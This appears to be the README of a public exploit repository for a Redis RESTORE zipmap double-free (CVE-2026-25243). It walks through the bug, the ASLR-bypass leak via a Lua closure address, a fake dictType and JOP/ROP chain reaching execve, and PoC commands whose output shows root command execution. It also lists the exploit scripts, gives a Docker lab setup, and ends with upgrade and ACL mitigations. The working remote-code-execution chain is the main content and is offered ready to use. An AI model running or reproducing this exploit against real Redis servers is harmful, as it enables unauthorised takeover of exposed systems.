
CVE-2026-25243 — Redis RESTORE zipmap double-free → remote code execution (ASLR on).
RESTORE zipmap 이중 해제 → 원격 코드 실행TL;DR. 잘못된 형식의
DUMP페이로드가RESTORE에 전달되면 Redis의 레거시 해시-지맵 로더에서 힙 이중 해제가 발생합니다. 기본 jemalloc에서는 이중 해제가 조용히 발생하며(서버는 계속 실행됨), 이를 제어 가능한 타입 혼동 원시 요소로 전환합니다. 이 저장소는 이를 ASLR이 활성화된 상태에서 원격 코드 실행으로 연결합니다 — Redis 작업자가system("<attacker string>")을 호출하고 계속 서비스를 제공합니다. DoS가 아닙니다.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
ASLR을 무력화하는 누출은 DEBUG를 사용하지 않습니다 — redis.call Lua C-클로저 주소를 읽습니다(EVAL 'return tostring(redis.call)'). 이는 이전 Redis 익스플로잇과 동일한 자체 포함된 DEBUG-프리 기술입니다. 그런 다음 blob_base/blob_robj 그리고 PIE 베이스는 오버리드(고정 오프셋 없음)로부터 런타임에 도출됩니다. PIE-ROP 마무리는 JOP 스택-피벗을 통해 execve@plt를 호출하므로 libc 주소를 전혀 사용하지 않습니다 — 유일한 빌드별 상수는 redis-server 바이너리에서 읽은 PIE-상대 가젯 오프셋으로, 이전 HLL 익스플로잇의 빌드별 가젯 테이블과 정확히 동일합니다. 기본 DEBUG가 비활성화된 서버에서 uid=0(root), ASLR 켜짐, 8/8을 확인했습니다.
두 가지 마무리가 제공됩니다.
poc_rce_aslr_pie_rop.py(위)는 가장 자체 포함되어 있습니다 — libc 없음, 완전히 자체 보정됨 — 하지만execve는 작업자를 대체합니다(리버스 셸--cmd사용; 실제 셸에 가장 적합). **poc_rce_aslr_selfcal.py**는 작업자를 유지합니다(system()이 포크됨) 두 개의 libc 버전 오프셋을 대가로. 서버를 계속 살려둘 필요가 있는지에 따라 선택하세요.
RESTORE key 0 <DUMP-페이로드>는 직렬화된 객체를 역직렬화합니다. 레거시 RDB_TYPE_HASH_ZIPMAP (0x09) 유형의 경우, 검증기와 변환기가 길이 필드가 차지하는 바이트 수에 대해 의견이 일치하지 않습니다:
zipmapValidateIntegrity()는 실제 인코딩된 크기(과도한 길이의 0xFE 접두사의 경우 5)로 탐색합니다;zipmapNext()는 zipmap → listpack 변환 중 디코딩된 길이가 < 254인 경우 1바이트를 사용합니다.작은 길이가 과도한 길이의 5바이트 형태로 기록되면 유효성 검사를 통과하지만 zipmapNext()가 4바이트만큼 잘못 스트라이드하게 만듭니다. 동일한 잘못된 스트라이드로 인해 두 가지 결과가 발생합니다: 힙 오버리드(zipmap.c)와 Redis에서만 힙 이중 해제가 rdb.c 해시-지맵 로더에서 발생합니다:
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
Valkey는 이를 방어합니다(if (!field_added) sdsfree(field)); 업스트림 Redis는 그렇지 않으므로 이중 해제는 Redis 전용입니다. 수정 사항은 과도하게 인코딩된 짧은 길이를 거부하고 로드 시간 검사를 재정렬합니다.
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
가짜 dictType은 주소의 하위 바이트가 공격자 문자열의 sds 헤더와 일치하는 하나의 오프셋에서 16 MB 문자열(SETRANGE) 안에 심어집니다. ASLR은 런타임에 완전히 무력화됩니다:
system — 단일 힙-포인터 누출. 권장 경로는 DEBUG-프리입니다: redis.call Lua C-클로저의 주소(EVAL 'return tostring(redis.call)') — 이전 Redis 익스플로잇이 사용한 동일한 자체 포함된 누출. jemalloc 아레나는 libc에서 일정한 오프셋에 위치하므로, system = leaked_robj + Δlibc + system_off입니다. (DEBUG OBJECT는 스크립팅이 비활성화되었지만 DEBUG가 활성화된 경우에만 실험실 편의를 위한 것입니다 — 더 드문 구성.)SET의 dict를 위조하여 해당 멤버가 107 KB SDS_TYPE_32 sds가 되도록 하고, SMEMBERS가 인접한 힙을 오버리드하며, blob의 robj.ptr이 알려진 오프셋에서 읽힙니다.전체 원시 단계별 분석과 어렵게 얻은 jemalloc / Redis-8.x 세부 정보(클래스-64 경계, dict 항목 태깅, 해시-필드 mstr, 키스페이스 사전 증가)는 WRITEUP.md를 참조하세요.
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
DEBUG 없음)부트스트랩 힙-포인터 누출은 이전 Redis 익스플로잇과 동일한 접근 방식을 따릅니다: redis.call Lua C-클로저 주소를 EVAL 'return tostring(redis.call)'로 누출합니다. Lua 스크립팅은 기본적으로 켜져 있고; DEBUG는 기본적으로 꺼져 있습니다 (enable-debug-command no) — 따라서 Lua 누출이 현실적인 기본이고, DEBUG OBJECT (poc_rce_aslr.py)는 실험실 편의에 불과합니다. 그런 다음 poc_rce_aslr_selfcal.py는 오버리드로부터 런타임에 blob_base와 blob_robj를 도출합니다 (16 MB-blob robj 서명 검색), 따라서 DLUA/DFOBJ는 가까이 있기만 하면 됩니다.
system 마무리의 경우 작은 힙 오버리드에는 libc 포인터가 포함되지 않으므로 libc를 자체 도출할 수 없습니다 — poc_rce_aslr_selfcal.py는 두 개의 libc 버전 오프셋(DLIBC, SYSTEM_OFF)을 유지합니다. poc_rce_aslr_pie_rop.py 마무리는 해당 의존성을 완전히 제거합니다: 동일한 오버리드가 PIE 포인터를 가지고 있습니다(공유된 dictType이 반복적으로 나타남), 따라서 PIE 베이스는 most-common-PIE-value − DICTTYPE_OFF로 자체 보정되며, 체인은 JOP 스택-피벗(mov rbp,rdi; call *0x8(rax) → leave;ret가 rsp를 공격자가 제어하는 HGET 필드로 피벗하며, 이 필드는 바로 execve("/bin/sh","-c",<cmd>) ROP 체인입니다)을 통해 execve@plt로 끝납니다. 유일한 빌드별 상수는 redis-server에서 읽은 PIE-상대 가젯 오프셋입니다 — 이전 HLL 익스플로잇이 ELF 빌드-ID당 가젯 테이블을 키로 사용하는 것과 정확히 같이 /로 대상별로 추출합니다. libc 주소는 사용되지 않습니다.
screenshots/05-pie-rop-libc-free.png (NO libc 자체 보정 + uid=0, 가장 자체 포함된 실행), 01-rce-aslr-on.png (uid=0 결정적 장면), 02-reliability.png (5/5), 03-exploit-chain.png (코드), 04-debug-free-selfcal.png (기본 Redis에서 DEBUG-프리, 자체 보정 system 실행).
RESTORE는 일반 명령입니다 — 인증되지 않거나 노출된 Redis(requirepass 없음)에서 연결된 모든 클라이언트가 실행할 수 있습니다; 인증된 인스턴스에서는 ACL -restore 거부가 없는 모든 사용자가 실행할 수 있습니다. 다른 Redis RCE에서 사용되는 데이터 구조 명령과 동일한 액세스 프로필입니다.< {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — 즉 6.2.x부터 현재 8.x까지; Valkey는 DoS/오버리드만 해당(field_added 가드가 이중 해제를 차단함).수정된 릴리스로 업그레이드하세요. 업그레이드할 수 없는 경우: RESTORE 제한 (ACL … -restore), Redis를 인증 없이 노출하지 말고, DEBUG를 비활성화하세요.
승인된 보안 연구, 방어자 인식을 위해 공개됨. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.
| 파일 | 설명 |
|---|
★ exploits/poc_rce_aslr_pie_rop.py | 가장 자체 포함됨 — 기본 Redis에서 RCE (DEBUG 꺼짐), libc 오프셋 없음; blob_base/blob_robj/pie_base 자체 보정; JOP 피벗을 통한 execve@plt (작업자 대체됨). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | 작업자 유지 — 동일한 체인이지만 hashFunction=&system (포크); 두 개의 libc 버전 오프셋 필요 (DLIBC/SYSTEM_OFF). Lua-클로저 누출, blob_base/blob_robj 자체 보정. |
exploits/poc_rce_aslr_nodebug.py | DEBUG-프리 (Lua 누출), 하지만 고정 오프셋 사용 (DEBUG 켜짐 상태에서 보정됨) |
exploits/poc_rce_aslr.py | 실험실 편의 변형: DEBUG OBJECT 부트스트랩 누출 (DEBUG 활성화 필요) |
exploits/poc_rce_aslr_off.py | ASLR 꺼짐 상태에서 RCE (보정된 주소) |
exploits/poc_typeconfusion.py | 이중 해제 → 두 키가 하나의 힙 버퍼를 공유 (도구 없음) |
exploits/poc_doublefree.py | 이중 해제 (ASan: sdsfree에서 힙-사용-후-해제) |
exploits/poc_dos_overread.py | 오버리드 충돌 (ASan) |
ROPgadgetobjdump